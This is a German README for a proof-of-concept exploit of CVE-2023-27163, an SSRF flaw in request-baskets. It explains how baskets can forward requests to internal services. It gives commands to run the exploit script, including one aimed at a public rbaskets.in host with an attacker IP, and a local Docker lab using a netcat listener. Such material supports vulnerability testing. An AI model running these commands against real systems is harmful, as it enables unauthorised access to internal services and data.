Proof Of Concept von SSRF auf Request-Baskets (CVE-2023-27163)

Dieses Repository enthält einen Proof-of-Concept (PoC) für CVE-2023-27163, eine Server-Side Request Forgery (SSRF) Schwachstelle, die in request-baskets bis Version 1.2.1 entdeckt wurde. Diese Schwachstelle ermöglicht es Angreifern, auf Netzwerkressourcen und sensible Informationen zuzugreifen, indem sie die Komponente /api/baskets/{name} durch eine manipulierte API-Anfrage ausnutzen.

Verwendung

git clone https://github.com/MasterCode112/CVE-2023-27163.git
bash ./CVE-2023-27163.sh https://rbaskets.in/ <attacker IP>

Wie funktioniert es?

Request-baskets ist eine Webanwendung, die entwickelt wurde, um Anfragen auf einer bestimmten Route zu sammeln und zu registrieren, dem sogenannten Basket. Beim Erstellen kann der Benutzer einen anderen Server angeben, an den die Anfrage weitergeleitet wird. Das Problem dabei ist, dass der Benutzer ungewollte Dienste, wie z.B. netzwerkabgeschottete Anwendungen, spezifizieren kann.

Zum Beispiel: Angenommen, der Server hostet Request-baskets (Port 55555) und einen Flask-Webserver auf Port 8000. Der Flask ist außerdem so konfiguriert, dass er nur mit localhost interagiert. Durch das Erstellen eines Baskets, der an http://localhost:8000 weiterleitet, kann der Angreifer auf den zuvor eingeschränkten Flask-Webserver zugreifen.

Testen auf localhost

1. Starte den Docker-Container von Request-Baskets

docker run -p 55555:55555 darklynx/request-baskets:v1.2.1
``` git clone https://github.com/MasterCode112/CVE-2023-27163.git

2. Lade den PoC herunter

```shell
git clone https://github.com/MasterCode112/CVE-2023-27163.git

3. Warte auf eine Verbindung

nc -lvp 8000

4. Speichere die Docker-Host-IP-Adresse

DOCKER_IP=$(ifconfig docker0 | grep inet | head -n 1 | awk '{ print $2 }')

5. Führe den PoC aus

./CVE-2023-27163.sh http://127.0.0.1:55555/ http://$DOCKER_IP:8000/